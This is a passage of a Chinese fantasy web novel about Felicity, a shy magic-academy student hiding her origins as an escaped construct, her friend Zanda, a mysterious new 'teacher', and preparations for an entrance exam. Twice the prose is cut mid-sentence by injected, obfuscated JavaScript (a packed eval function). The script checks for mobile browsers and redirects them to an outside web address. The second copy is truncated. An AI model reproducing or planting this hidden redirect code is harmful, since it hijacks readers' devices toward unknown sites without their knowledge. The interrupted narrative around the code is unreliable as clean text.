他生气撸起袖子:“是不是我爸苛扣你工钱了!?” 菲莉西蒂把布包塞好,脸颊因为爬楼梯还泛着红。她抿嘴笑了笑,开心道:“我弟弟妹妹前几周过生日,给他们买了礼物,然后又给我叔叔买了一副新眼镜,剩下的钱就不太够了。” 自从他们逃到希尔维斯特后,为了不引起注意,诺里彻底断了跟研究相关的一切营生,最后靠着在菜市场跟大妈们唠嗑练出来的口才和脸皮,愣是在主城图书馆混了个图书管理员的职位。 虽然每天起早贪黑,但工资也不高,要养活一家五口人着实有些拮据,年终奖还只是一箱儿童读物和玩具。 图书馆管理层认为这福利很贴心:“员工大多是未婚青年,提前学习育儿经验嘛!” 诺里第一次领到那箱东西时,终于知道世上还有和研究所所长一样恶心的领导。原本想学同事不屑一顾地离开,但一想到家里的孩子们,他又默默把箱子扛回了家。 那些诺里辛苦工作一年得到的廉价玩具,陪伴着菲莉西蒂长大,被她如视珍宝。而现在她也快成年,不能再麻烦诺里照顾他们,自然也希望自己能够和他一起支撑起这个家。 自从入学中级学院后,菲莉西蒂就常利用假期到主城做临时工,学院有帮助困难学生对接工作的政策,薪水透明,工时合理,还能防着黑心老板压榨学生。 菲莉西蒂干过好几份工,她的打工钱,大半都补贴了家用。剩下的,她想攒着买个最基础的飞行仪器,安贝和赛卡马上就要上初级学院了,以她之前上学的经验,最好还是要配个方便的工具供他们出行。 想到这个,她有些羞涩地说:“可能这个假期还需要去你家店里打工。” 赞达激动拍桌:“我爸妈巴不得你来帮忙呢!说我要是能有你一半勤快,他们做梦都能笑醒!” 赞达家住在主城,开了间魔药铺子。铺子不大,但生意很不错,主要是他父母手艺好,熬出来的治疗药水见效快,价格也公道,唯一的缺点大概只有味道——非常苦。 而赞达自小就被灌输未来要继承家业,但自打五岁那年第一次偷尝柜台上的药水,当场哭得把邻居都招来后,他就立志要远离魔药,成为一名甜品师,并且十几年来从未动摇。 假期前,赞达就听父母说招了个非常靠谱的临时工,虽然是个学生,但很勤快,做事认真,算账从不出错,就是话少了点。他当时还挺好奇,结果一到店里发现是菲莉西蒂后,赞达当时脑子里只有一个念头: 我爸妈是不是吃了什么转运魔药? 菲莉西蒂可能不清楚,她在希尔维斯特中级魔法学院论坛里,非常出名。 可以说,整个第八中级学院,没有人不知道菲莉西蒂这个名字,甚至经常还会有其它学院的学生特意跑大老远过来,想看看这位仅凭一张被抓拍的模糊侧脸照就霸榜论坛院花的存在,到底长啥样。 但她出名的点不仅如此。 别的学生课余时间要么聚堆闲聊,要么结伴练习魔法。菲莉西蒂永远都是一个人,不是在图书馆里埋头啃那些厚得能当枕头的理论书,就是早早收拾东西离校。 也有人试着跟她搭话,她顶多点个头,眼神飘忽移开,也不怎么说话,然后抱着书快步走掉。久而久之,就变成了“菲莉西蒂根本不屑搭理人”。 更可怕的是她的成绩。 理论考试永远第一,分数高得能让第二名怀疑人生。可一到实践课,连最简单的攻击魔法都能施放失败。 这种极端反差,在学生间催生出各种猜测: “肯定是哪个大家族出来体验生活的,理论都是家里提前教过的!” “真可惜,实践那么差,理论再好有什么用?” “性格那么差,就只有脸能看了。” 话越传越离谱,可菲莉西蒂像完全听不见。她照样独来独往,照样在理论课上被老师点名表扬时,会红着脸小声道谢,之后在全班的注视下把头埋得更低。 美丽,疏离,傲慢,理论天才,实践废物。 ——至少在外人看来,是这样。 赞达以前也对这类人敬而远之,后来在店里接触多了,他才慢慢发现,那些传言大半都是扯淡。 菲莉西蒂话少,只是因为容易害羞,不知道能说些什么。理论成绩好是她认真学习的回报,每天走得快是因为急着去打工,以补贴家用。 和流言完全相反,菲莉西蒂很温柔。 她每次拿到工资,先想的永远是给家里人买点什么,反而从来没为自己买过什么。赞达那些被爸妈骂不务正业的甜品,只有菲莉西蒂会认真吃完,然后诚实提意见。 一来二去,在外人眼里天差地别的两人就成了朋友。甚至还有人偷偷来向赞达取经,只得到怒吼的四个字——“无可奉告!” 说完这件事,赞达忽然又像是想起了什么,先警惕地扫视四周,确认没人注意后才压低声音,用只有两人能听见的音量问道:“对了,昨天艾神经是不是又找你麻烦了?我都听人说了!这都快升学考了,他怎么还阴魂不散的?” 菲莉西蒂看着赞达关心的目光,抿嘴,坚定地摇头:“没有。” 如果是不熟悉菲莉西蒂的人,估计很容易就被骗过去了。 赞达一脸嫌弃地撇嘴,不留情地吐槽:“你能不能改改你那一撒谎就抿嘴脸红的毛病?你这样我真的很难配合你。” 菲莉西蒂尴尬扯出一个微笑,想打马虎眼跳过这个话题,但显然她在学院里难得的朋友赞达并不像双胞胎那么好哄,嘴巴依旧嘟着。 “真的没事。”菲莉西蒂眼神乱飘,手指无意识地揪着法袍边缘。 赞达盯着她看了几秒,然后重重叹了口气。他气愤地一拍桌子,虽然这响声最大传播范围只能在其方圆一米内,但配上他那副样子,显得气势十足。 “艾神经不就仗着他家里吗?以后菲莉西蒂你就跟我混,等我以后成为大陆最厉害的甜品大师,雇高级魔法师当你的护卫,看谁还敢欺负你!” 虽然艾特南是靠实力成为年级第一的,但菲莉西蒂依旧和往常一样认真鼓掌,给赞达乐得屁股都快离开座位。 毕竟他天天都给自己施漂浮魔法,就为了上称能少显示几公斤。 班上零星几人朝这个小角落投来视线,待看清说话者是谁后又不甚在意地移开。 尤格德拉大陆的每个人自出身就有名,但只有隶属于家族的人才会有姓。家族背后代表的是无上的荣耀,每个姓氏都承载着不可磨灭的战功与贡献。 艾特南所在的埃德蒙家族是希尔维斯特主城几大贵族之一,同样享受着无尽的资源。 已经悬坐在空中的赞达正翘着鼻子接受菲莉西蒂的捧场,眼睛滴溜转动,突然挤着眼凑到菲莉西蒂面前,声音小得像是在说什么秘闻: “前几天我叔叔从东部的赛纶迪斯休假回来啦!我从他那又知道好多有意思的东西!” 大陆南部一向与其他领土格格不入,就连消息也闭塞不通,只有主城所在的住民会更了解些。 像菲丽西蒂这样落户在城外的居民基本就只知道领主的名字和长相。这位有极大分享欲的男孩巴不得把他前几天听来的消息说给自己最好的朋友。 菲莉西蒂深知赞达的本性,配合地摇头,像以往那样念着台词:“不知道呢赞达,能请聪明的你分享一下吗?” 有人捧场,赞达立马胖手一挥,“砰”地砸在椅子上,摆出先前的姿势,贴着菲莉西蒂激动道:“我听说现在大陆上最厉害的家族有三个。比艾神经家…不!比咱们希尔维斯特所有家族都厉害!” 菲莉西蒂看赞达兴奋的脸就知道肯定不仅这些,配合地眨眼示意他继续。 她的配合让赞达很适用,他圆溜溜的眼睛马上亮了起来。 “我缠了我叔叔老半天他才和我说的,这三个家族好像叫贝拉米、奎…奎达因好像,呃,还有一个是什么来着,有点拗口……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164933|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奥布莱顿!全大陆战斗系魔法师最多最厉害的家族!” 前排坐的马尾女同学终于没忍住插了进来,她双手交握,眼睛发光,“我有幸看过前几年高级学院比赛的录像水晶,有好几个奥布莱顿分家的选手,他们实在太厉害了!!” 后排寸头男同学身体前倾,挤到菲莉西蒂和赞达之间,反驳道: “贝拉米家族才厉害好不好!咱们这的魔轨列车不就他们家资助的?而且他们还管理着大陆最大的商行与遍布各地的交通要道,超有钱的。最重要的是!” 男同学激动大喊:“听说贝拉米家族人人都好看!” 女同学不甘示弱:“你这颜狗!实力才是关键。” 男同学接连回防:“我就颜狗了!颜狗考得比你好!” “呵,理论考试考得好又怎么样,有本事你在实战考试打赢我呀?” “哦呦!来啊,你以为我以前输给你是真心的吗?” 菲莉西蒂和赞达一会前看,一会后看,不敢出声打断。 这场莫名其妙的辩论最后还扯到了菲莉西蒂。 “那能有咱们菲莉西蒂好看?”女同学讥笑着施以致命一击。 男同学顿时泄气,扯着嗓子道:“我又没真见过,比不了比不了。” 等他们终于决定息战时,赞达早就拉着菲莉西蒂溜之大吉了。 * 中级学院推行选课制,只要求学生们每早准时到校打卡签到。今早两人都没课,所以赞达直接带着菲莉西蒂飞到学院角落最高处的大树下,这是他们偶然发现的秘密基地。 树叶沙沙,天空蔚蓝。 他们一起躺在阴凉处,在高处看向遥远的南雾森林,那是这里最出名的一处遗迹,是“苍白之灾”战争中的战场之一,长年限制普通人进入。 尽管路上都是用飞行魔法,抓着菲莉西蒂也和提个书包差不多,但赞达依然满头大汗,对他来说,使用魔法就是最好的减肥手段。 他喘着粗气,无奈道:“这俩以前不是情侣吗?吵那么凶。” 菲莉西蒂同样表示不解,她用魔力唤来一阵微风,替好友降温。 风细细吹过,拂过她的眼睛,阳光恰好在此时成功穿过树叶的阻挡,撞进琥珀色的宝石,完成亲吻美好的使命。 赞达双手枕在脑后,叼着草一上一下,脸臭臭的,一看就知道是为刚刚自己好不容易可以分享八卦却被打断而生闷气。 菲莉西蒂双手交握着放在腹部,黑色长卷发铺展开,颈侧露出的肌肤极为白净,状似无意地问:“奥布莱顿家族好战、贝拉米家族富有,那奎达因家族呢?他们又因为什么出名呀?” 一听这话,赞达的嘴立马咧开,橘色的眼睛闪闪发亮,屁股再次翘上天空。他正要开口,空中就传来班主任科琳强忍怒火的声音。 “请魔法系六年六班赞达同学来我办公室一趟!立刻!” 赞达脸上的肉猛地抖动,兴奋迅速从他脸上褪去,只余下绝望。 “完蛋!我理论考试作弊的事肯定被发现了啊啊啊!菲莉西蒂,我们之后再细说!” 赞达急忙挥动法杖,迅速朝办公室树飞去,只留菲莉西蒂一人呆呆躺在原地。难得有朋友的她突然想起,朋友间离开是要说再见的,撑起身大声回道:“赞达,再见。” 但那胖胖的背影在她犹豫时就已消失不见。 菲莉西蒂咂嘴,略感遗憾地躺下,轻轻闭眼,感受风的流动,聆听风传来的信息。这是前几天学的低级魔法,也是凭她微弱的魔法储量为数不多勉强能使用的魔法之一。 有鸟儿飞掠而过的呼声。 有树叶慢慢飘落的哼鸣。 有人在枝头轻点脚尖的声音。 ! 菲莉西蒂猛一睁眼,就看见一张倒过来的脸在树上朝她微笑。 为什么刚刚没发现!? 她赶忙起身,坐直身体,警惕地对上那人的视线。 那是一个十分高大的男人,穿着普通的黑色平民布衣,黑色短发在微风中轻轻摇曳,红眸饶有趣味地与菲莉西蒂对视。 戴着黑手套的手勾着立起来的膝盖,另一条长腿随意挂在枝干上,锋利的剑眉轻轻一挑,那股初见的凌厉气势就消散而去,取而代之的是一种难以言喻的压迫感。 男人慵懒的声音响起:“奎达因家族因其科研成绩突出而列三大世家之一,研制出优秀的魔法仪器是他们的厉害之处。” 他朝不远处运行的魔轨列车努嘴。 那样子像个幼稚的小孩,菲莉西蒂心想。 “那东西就是他们家首先提出的,挺厉害的不是?”他轻佻地朝菲莉西蒂眨眼。 菲莉西蒂迟钝地反应过来,这个人拥有能够完美隐藏起来而不被两个学生察觉的能力,但他最后还是选择出声。 也许只是为了回答她还没有得到答案的问题。 5. 幼稚的新老师 菲莉西蒂眨眼,眼前这个人她从未在学院见过。按理来说,外貌如此让人印象深刻的老师应该很出名才对。 一个想法在她心中逐渐成型。 菲莉西蒂赶忙站起,琥珀色的眼睛清澈明亮,蓬松的发卷垂到腰侧。她向黑发男人微微鞠躬,这是院内学生遇到老师时的礼节,害羞道:“您是学院新派来的老师吗?” 各领地的学院间常常会派遣老师交流教学,其实也是为了方便他们熟悉各地的地域风情,进而提高不同属性的魔力感知。 她的班主任科琳就是前几年从西部梵希兰德调来的,据她说是因为体内火元素过于强劲,无法与木元素协调,特地选择了希尔维斯特进行交换。 黑发男人歪着头,骨节分明的手轻点下巴,忽然,他夸张地将一手合拳敲向另一手掌,嘴咧得极大:“哦!是的,我是今天刚来的新老师。” “你好呀,小同学。” 男人笑着问好,两手虚握,模拟握手礼节上下摆动,说完还略带些期待看向菲莉西蒂。 菲莉西蒂犹豫几瞬,还是没满足新老师期待,只把手贴在身后,轻轻点头:“您好。” 没等来想要的反应,黑发男人有些失望地撇嘴,还在等着眼前这位小同学的下一句话。结果那孩子就只是呆愣地站在树底下抬头看他,大大的圆眼睛一动不动。 他试探性前倾,就看见那孩子突兀往后退了一小步。 再前一点,毫不意外地又退了一步。 有点意思。 塞瑟隆·奥布莱顿心想。 看对方目光炯炯地看着自己,菲莉西蒂都感觉手心出了汗,她想不通为什么这位新老师还赖在这不走,不都应该要先去办公树报道吗? 突然,只是一眨眼的功夫,没有任何前兆,原本还坐在树上的男人落点精准地停在菲莉西蒂面前半步处。 菲莉西蒂本能后仰,在极度紧张下一只脚磕到另一只,正要往后倒时,手臂就被一只大手紧紧握住。 黑发男人伸手扶稳她。他个子太高,哪怕菲莉西蒂站直了,头顶也只勉强够到他的肩膀。 男人很快收回手,退到社交距离,却顺势弯腰将视线与她齐平,红眸里明晃晃压着笑,嘴角向上翘起抖动:“小同学,不好意思,我没想到你会吓成这样。” 菲莉西蒂这才反应过来,想到刚刚自己不成熟的表现,脸有点发烫,小声说:“没事的,老师。” 男人看到菲莉西蒂的反应,大笑起来。他的声音有些沙哑,但笑声却意外地爽朗。菲莉西蒂在他放肆的笑声中已经快把头低到地里了。 一只戴着黑手套的拳头,忽然伸到了她低垂的视线下方。 菲莉西蒂愣住,迟疑抬起,顺着那只手看向它的主人。 男人正低头看着她,脸上还残留着未散的笑意。见她抬头,他冲她飞快地眨了眨眼,用另一只手指了指拳头,露出惊讶的表情。 这是干什么? 菲莉西蒂迟疑地伸出手,不确定自己有没有领会对。 男人见状,嘴角笑意加深,把拳放在菲莉西蒂掌心上方。 张开后,一个有重量的小物体落在她的手心。 是颗琥珀色的珠子。 触感温润,里面凝固着几缕暗红色纹路。对着光看时,纹路会微微流动,透出晶莹的色彩。 “小赔礼。”黑发男人黑发男人收回手,双掌在胸前合十,做了个夸张的道歉姿势,和他那张冷硬的脸组合在一起,有种奇特的协调感,“吓到你了,小同学,实在不好意思。待会老师请你——” 他突然止住,目光锐利地看向空中,眉头微微蹙了一下,随即又很快舒展开,抬手随意地抓了抓自己后脑的黑发,叹气道: “原本还想着带你去吃我超级超级喜欢的特产,麻烦事又来了。等老师忙完,立马请你吃好吃的!” 他下意识用手揉了一把菲莉西蒂的头发,完全没意识到自己这番话和行为多么像想诱拐小孩的坏人。 自男人碰到她后,菲莉西蒂便全身僵硬,正要回应,却见男人打了个响指,紫白色光芒在指尖一闪而过。 她还未来得及捕捉那光的来源,男子的身影便已从原地淡去,只留下空气中一丝类似静电掠过的焦糊气息。 瞬移魔法,至少也得是中级二阶魔法师才能施展的高消耗魔法,在如今魔法仪器普及的时代,已经很少人会使用了。 菲莉西蒂懵懂站在原地,她摸了摸脑袋,那份触感很真实,又用手指轻轻碰了碰这颗漂亮的珠子,它在翻滚的同时还会折射出红色的微光。 很喜欢。 感觉会是个和科琳老师一样厉害的好老师。 菲莉西蒂小心收起珠子,有些高兴地擅自下了定义。 突然,一阵凌厉的风传来,携带着一股熟悉的魔力。 风在菲莉西蒂周围滞留,她能感受到传声来源者的气息。菲莉西蒂迅速整理好自己的衣袍,觉得一切就绪后便轻抚微风。 风开始快速旋转,一面屏幕出现在她眼前。 屏幕里的男生站在庭院里,亚麻色的碎发被风吹得有些乱,眼睛微眯,一身白色法袍穿得很齐整,领口扣到最上面一颗,显得极为正式。 菲莉西蒂还看到了他身后那根柱子上亮闪闪的黄金纹饰,她猜测这应该就是艾瑟瑞亚高级魔法学院的建筑,一看就比希尔维斯特的气派多了。 男生在看清菲莉西蒂后,眯着的眼睛弯了弯,不急不慢道:“好久不见,菲莉西蒂。家里都还好吗?” 菲莉西蒂轻点头:“都挺好的。”她停顿一会,补充道:“哥哥。” 当年在研究所里选择跟诺里出逃的魔偶一共有四位。 甚至因为诺里被严密监控,连出逃路线与时机都是眼前这位37号魔偶一手制定的。 在逃到大陆最不受中心势力影响的南部后,诺里起初是想将他们几个魔偶都藏起来,就此隐姓埋名。 但战后各地重建,隐隐有统治之意的艾瑟瑞亚领主颁布众多法规,其中就有许多关于教育的新政策。希尔维斯特领主为了以示顺从,将境内所有适龄孩子都归入初级、中级学院进行统一的免费启蒙教育。 这是前所未有的福利政策。 因此身份证明成了必须,而亲缘关系必须经过严苛的魔法机器检测,直接伪造双亲证明行不通。诺里只能退而求其次,给他们办理了远房亲戚的暂养证明。 所幸战后当权者都在忙着权利争夺,希尔维斯特当地的检测设备还未与前线统一,那些粗糙的魔力感应器根本无法测出魔偶核心特有的波动。 毕竟谁能想到,本该在前线作为黑魔法师手中利刃的战斗兵器,会出现在 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就在他准备登上云艇舷梯时,菲莉西蒂叫住了他。 “哥哥。”她的声音在风里很清晰,“我相信你的选择。” 欧拉斯停下脚步,笑着回过头,他的脸在灯光下半明半暗,永远上扬的嘴角让人无法看透他的情绪。 “我以为你会是最恨我的那一个。” “你一定有你的道理。”菲莉西蒂继续说,“你不是会乱来的人。在研究所的时候,每一次计划......” 她顿了顿,像有什么东西从记忆深处浮上来,又很快被她按了回去。 “......你都没有出过错。” 欧拉斯看着自己的妹妹,他那总是眯着的眼睛弯得更深了些。他没再出声,只是伸出手,很轻地拍了拍她的肩膀,而后转身离去,没有一丝犹豫。 云艇升空时带起巨大的气流,吹得菲莉西蒂的长发在风中飞舞,发丝掠过脸颊和脖颈。 抬手拢住飘散的头发,她就那样仰着头,看着那点灯火慢慢上升,先是被更高的树木遮挡,继而融入天幕,最后彻底消失。 此刻,屏幕里的欧拉斯看上去更为成熟,他观察到菲莉西蒂身后那棵大树,眯着的眼睛微微睁开。 “最近没发生什么事吧?”他问,语气听起来随意,但菲莉西蒂知道那不是随口一问。 菲莉西蒂没敢说话,她还记得刚刚赞达的控诉,担心自己一开口就会被识破,但她琢磨出了一个好办法:转移话题。 “升学考试就快开始了,我到时候直接找一个地方藏起来,等到考试结束。”菲莉西蒂双手握拳放在身前,一脸认真地述说计划。 欧拉斯眼睛眯起。 看来最近的确是发生了什么。 他面上不显,“哦”了一声,夸奖道:“是个完美的计划,但也要注意安全。” 他还想再继续说些什么,但似乎一旁有人正在叫他。欧拉斯朝那人礼貌昂首,转过头对菲莉西蒂遗憾道:“抱歉,我有点事,替我向诺里他们问好。” 菲莉西蒂赶忙挥手向欧拉斯道别。欧拉斯看着她晃动的指尖,嘴角的弧度没变,但眼神明显更柔和了。 她能感受到风渐渐消散,直至离开。 6. 旧照 希尔维斯特,主城第八中级魔法学院1607树屋内。 诺里尝试把自己的身体缩在堆满各种魔法仪器的沙发里,并艰难挤出一个礼貌而又藏着几丝害怕的微笑。 科琳手肘支在扶手上,十指松松交握搭在小腹前。棕色短发随着她偏头的动作扫过耳廓,发尾在侧脸投下一道利落的阴影。 “非常抱歉让您久等了,菲莉西蒂的叔叔。我从很久以前就想见您,很高兴今天终于有机会得以实现。” 诺里目光偏移,在他们一旁的地面有一个突兀的巨洞,依稀还能看见底下的高空与枝叶。 那是由眼前这位看上去娇小的女士在怒斥一位作弊的学生时因一时控制不住而溢出的魔力攻击造成的。 虽然科琳立刻表示她并不会把这招用在自己亲爱的学生身上。 但你的表情明显是在说:如果还有下次,你就等死吧! 那一刻,他仿佛与那位快要哭出声的瑟瑟发抖小胖子产生了灵魂上的共鸣。 “菲莉西蒂的叔叔?” 科琳的声音终于让诺里从方才的恐惧中回转过来。 他正襟危坐:“是是,老师您多指教,我回去一定督促菲莉西蒂学习。” “我今天主要说的不是菲莉西蒂考试挂科的事。”科琳伸手召唤出两杯茶,将一杯浮至诺里跟前,抬眼示意。 “我想问一问有关菲莉西蒂父母的消息。虽说我是半途接手这个班,对菲莉西蒂的情况并不清楚,但每次我提及要和她父母见面时,她总是以父母忙为借口推脱,之前好几次都是让她哥哥代为传达。” “请您告诉我,菲莉西蒂说的是否属实?” 她指尖轻叩,抬眸看向诺里,眼神犀利。 诺里攥紧放在膝盖上的拳头,微笑迎上科琳探究的目光,认真道:“当然!” 他毫不意外看到科琳质疑的表情。 诺里用手挠挠脑袋,乐呵补充:“只是他们在北部领地的商队工作,所以经常到处跑,就不怎么能回来照顾菲莉西蒂。” 诺里的手已经被指尖掐破,但他笑容不变。 “她父母真的很爱她!每次传声都会问很多她的事,还会叮嘱她好好吃饭,要注意安全……” 科琳盯着他看了很久,久到诺里后背都开始冒冷汗,快编不下去了。 菲莉西蒂也没和我说她班主任那么吓人啊! 最后科琳轻轻叹了口气,端起茶杯轻抿:“好吧。不过如果有机会,我还是希望能和他们当面谈谈。” “一定一定!”诺里连忙点头,拿起茶杯心惊胆战地喝了一口。 谈话的气氛终于缓和了一些,他们聊着聊着又讲到不久后的升学考。 科琳放下茶杯,遗憾道:“很可惜,升学考评审一向会更看重个人综合素养。不然凭菲莉西蒂的理论储备与学习态度,完全可以进入很好的高级魔法学院深造。” 诺里附和:“这孩子……确实在魔法运用上没什么天赋。” “天赋是一回事,努力是另一回事。”科琳认真分析,“我发现她似乎在刻意回避攻击魔法。每次上实践课,她都躲在最后面,连最简单的魔法都不愿意尝试。” 诺里试图补救:“菲莉西蒂胆子比较小。” 科琳摇头:“不像是胆小,我认为,她对攻击魔法有种本能的恐惧感。” 她毕竟上过战场,菲莉西蒂每次在实践课上的肢体表现是瞒不过她的。 诺里僵硬地微笑,他端起茶杯,借喝茶的动作掩饰自己的不自然。茶水温热,但他握着杯子的手已经快凉透了。 科琳还在用鼓励的眼光示意他继续透露菲莉西蒂的成长情况。 喂喂,我可不是你的学生啊! 诺里的目光开始四处乱瞄,试图窝囊拒绝这个话题的探讨。他的视线滑过堆满文献的书架和各种稀奇古怪的瓶罐,最后落在了科琳那张不算太乱的书桌角落。 那里立着一个简易的木制相框,里面是几张魔法显影照片。和这凌乱的办公室相比,周围非常整洁,能看出主人极为爱护。 摆在最中间的一张似乎是科琳和她所带班级的合影,学生们穿着统一的黑色法袍,脸上洋溢着笑容。诺里下意识地想找菲莉西蒂,可惜照片有些小,看不真切。 他的目光向下移动,当看到下一张照片时突然顿住,差点没拿稳手中的杯子。 那是一张略显陈旧的多人合影,背景似乎是前线的某个临时营地。天色昏暗,背景是白茫茫的一片。照片里的人都穿着利于行动的白色贴身防护服,口鼻也全被严丝合缝罩住,只留出上半张脸。 科琳站在偏左的位置,看上去还略显稚嫩,眼神坚定。而画面的绝对焦点,是被一群人簇拥着站在最中央,唯一露出了完整面庞的男人。 他穿着黑色紧身战斗衣,长发被随意地高高束在脑后,揽着身边的人冲着镜头咧嘴大笑。 黑色长发,红色眼瞳。 即使透过静态的影像,也能感受到那股几乎要冲破画面的压迫力。 塞瑟隆·奥布莱顿。 科琳注意到了他的视线,以为是诺里是想要看菲莉西蒂的照片。 她伸手将相框拿过,指着第二排被她揽着站在中间的短卷发女孩,她的脸通红一片,绷得紧紧的,琥珀色的眼睛甚至不敢直视镜头,一直瞄着科琳放在她肩上的手。 与另一张照片中的塞瑟隆形成鲜明对比。 两人就这样在旧相框里,完成了跨越时空的第一次合照。 科琳摸着相框,怀念道:“是当年刚来的时候照的,菲莉西蒂还老是想往最角落站,明明再站出去就拍不到她了。” 她看诺里一直盯着旁边那张,简单补充:“这是以前战争期间我所在某支队伍的合照。” “当时还想着,能和阁…”她顿了下,“某个厉害的战士合照,也算留个纪念。” 科琳耸肩:“同时遗照也不用再拍了。” 诺里喉咙发紧,他太清楚照片上的人是谁,以及他出现在菲莉西蒂班主任的旧照里,又是多么可怕的巧合。 科琳将相框放回原处,重新看向诺里,再次尝试拉回话题:“那我们现在是不是可以继续讨论菲莉西蒂的成长情况了?我一直对这个很好奇。” 诺里机械点头,感觉自己的灵魂已经彻底放空。 茶杯里的水,已经冰凉。 * 与此同时,教室内。 菲莉西蒂从秘密基地回来后刚坐下,就听见旁边传来一声有气无力的哼哼。 “你差点就再也见不到我了。” 菲莉西蒂侧头看他。赞达整个人像是被逼着吃了家里做的魔药,趴倒在桌面上,眼神空洞。 一看他这样就知道是在科琳老师那里受到了“爱的洗礼”——每个因违规行为从科琳办公室出来的人都会宛若新生。 菲莉西蒂没亲身经历过,只能伸出手,有些笨拙地拍拍他的胳膊:“不怕,赞达。下次理论考试我帮你补习,我很厉害的。” 赞达艰难地将眼珠子转向她,终于有了点活气,但随即又塌下去:“补习……除非我们都考进高级魔法学院,不然也没啥理论考试的机会了。不过这样也好,科琳老师的眼神…” 他打了个寒颤,“她光是看着我,我就觉得我从小到大干过的所有破事都被她看得一清二楚。” 菲莉西蒂回想自己印象里的班主任,很认真地安慰:“不会的,科琳老师只是比较敏锐。” “这叫‘比较’?”赞达猛地抬起头,眼睛睁得巨大,“这根本是战场级的洞察力好吗!” 他声音大了点,又立刻心虚地缩缩脖子,朝四处张望。 “算了算了,不提这个,明天都要升学考了。你哥哥不是前年考试吗?有没有说过难度如何?” 菲莉西蒂认真思考了一会,选择诚实回答:“你也知道的,对他来说,没有什么是难的。” 赞达:就不该问那个六边形战士! 希尔维斯特的升学考由各大中级魔法学院一同举办,每年场地都不相同,往往只能在进入考场前得知比赛场地,但大致形式基本一致。 所有考试会被随机传送到考核场地内,内部会装有监控水晶,可以实时传送影像,监考官会集中根据大家的综合表现打分。 不管是否能坚持到最后,表现被评定优秀者均可获得高级魔法学院的入学资格。同时影像也会与个人资料一同传送至大陆各大高级学院,由学院各系导师评判是否接收。如若通过,则考生会收到邀请函,再进行反向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他扯出一个艰难的笑容:“他们硬要给你露一手,我怎么劝都没用。” 餐桌已经布置好了,虽然用的都是最普通的木碗,但摆放得很认真。最中心是一锅颜色微妙的炖菜汤,看得出有土豆、面包块和一些肉块,汤汁呈现出诡异的褐绿色。 “这是魔力增强炖菜!”安贝挺起小胸脯,“诺里叔叔说里面的草药很有用,对姐姐你明天考试一定很有帮助!” 赛卡补充:“我们尝过了,没毒。” 菲莉西蒂看着那锅菜,再看向双胞胎亮晶晶的眼睛,她的嘴角扬起,露出浅浅的酒窝。 她没说话,只是伸手把两个孩子都揽到身边,额头轻轻贴着安贝,又蹭向赛卡,然后坐下,接过赛卡递来的勺子,舀起一勺炖菜送进嘴里,再喝一口汤,嚼得很认真。 味道……很复杂。 草药味很重,盐放得有点多,土豆还没完全炖烂,面包块在其中更是起到了关键性的决定作用。 “超级好吃。”她轻柔地摸了摸他们的脑袋,又吃了一大口。 双胞胎的眼睛立刻发亮,争先恐后地给她夹菜。 “这个面包是我挑的!” “肉是我切的!” 安贝和赛卡叽叽喳喳说着白天的趣事,菲莉西蒂认真听着,时不时微笑点头。诺里看着这一幕,一直紧绷的弦才稍稍松弛。 没事的,这只是个巧合,他们一辈子都不会见面的。 伟大的英雄怎么可能会来到这么偏僻的边缘领土呢? 他自我安慰着。 夜深了。 菲莉西蒂躺在自己窄小的床上,心里想着赛卡和安贝今天的激动样。 她在昏暗的光线下看着自己的掌心,尝试感应周围的水元素。这是她唯一擅长的元素魔法,虽然这么说,但也只能勉强做到凝结的水平。 虽然艰难,但微弱的蓝色光点开始在掌心聚集,最终形成一颗小水珠,在黑暗中发出柔和的光。 我可以的。 菲莉西蒂深吸一口气,试图将这股平和的魔力,转化为具有破坏性的形态。 仅仅是一个念头,掌心温顺的水珠瞬间破裂,胃部泛起熟悉的恶心感,喉咙发紧,呼吸困难。 她猛地握拳,掐灭光芒,额头沁出冷汗。 黑暗中,她急促地呼吸着,翻了个身,把脸埋进被子里。菲莉西蒂闭上眼睛,手指紧紧攥着被沿。 没关系的。 她对自己说。 窗外,最后一盏树屋的灯火也熄灭了。 南雾森林的方向,天空边缘隐约泛起一层不正常的暗紫色光晕。 像一只缓缓睁开的眼睛。 7. 升学考开幕 升学考当天。 希尔维斯特主城中心,一株万年巨木巍然矗立,主干粗壮,庞大的树冠向天空伸展,遮天蔽日,投下的阴影覆盖了半座城市。 常年用于召开重大集会的礼堂,便坐落于巨木主干之上。枝干交错盘绕,构成了天然的弧形穹顶,经过数代魔法师的加固与拓展,形成了足可容纳数万人的宽阔空间。 礼堂入口是两扇高达十米的对开木门,门上镌刻着希尔维斯特的徽记。橡树与藤蔓紧密交缠,橡树的根系深扎入大地,藤蔓则盘旋上升,在树冠处绽开象征各元素平衡的叶片。 门扉此刻完全敞开,迎接着来自各所中级魔法学院的考生。 各学院的考生按预先划分的区域落座,每位学生身上的学院法袍颜色各异。 菲莉西蒂很快找到了第八中级魔法学院的区域,立马锁定本学院位置中最偏僻的角落坐下,隔绝掉那些时不时向她投来的目光。 她刚落座,身侧光线就微微一暗。 赞达飘到她身边,嘴里骂骂咧咧:“刚看到艾神经了,他身边跟班好像又换人了,都是新面孔。看见他就烦!不知道为什么老来找你麻烦。” “等等!” 赞达的眼睛滴溜溜地转动:“我前几天在我叔叔看的小说上看到了类似的情节。你说他一个大少爷天天找你麻烦,该不会是喜欢你吧?” 菲莉西蒂立刻反驳道:“我不这么认为。” “啊?为什么?” “喜欢一个人,”菲莉西蒂很认真回答,“应该是希望对方一直开心才对。” 她说这话时,脸颊有点微微发红,长睫毛颤动着低垂,手指无意识地捏住布包,提到这种话题让她有点不好意思。 “谁教你的!”赞达做了个夸张的抹眼泪动作,一脸欣慰,“菲莉西蒂,你在我不知道的地方长大了!”” 精准捕捉到关键词,前排马尾女同学回过头,潇洒把手搭在椅背上,骄傲地抬起下巴:“我教她的!” 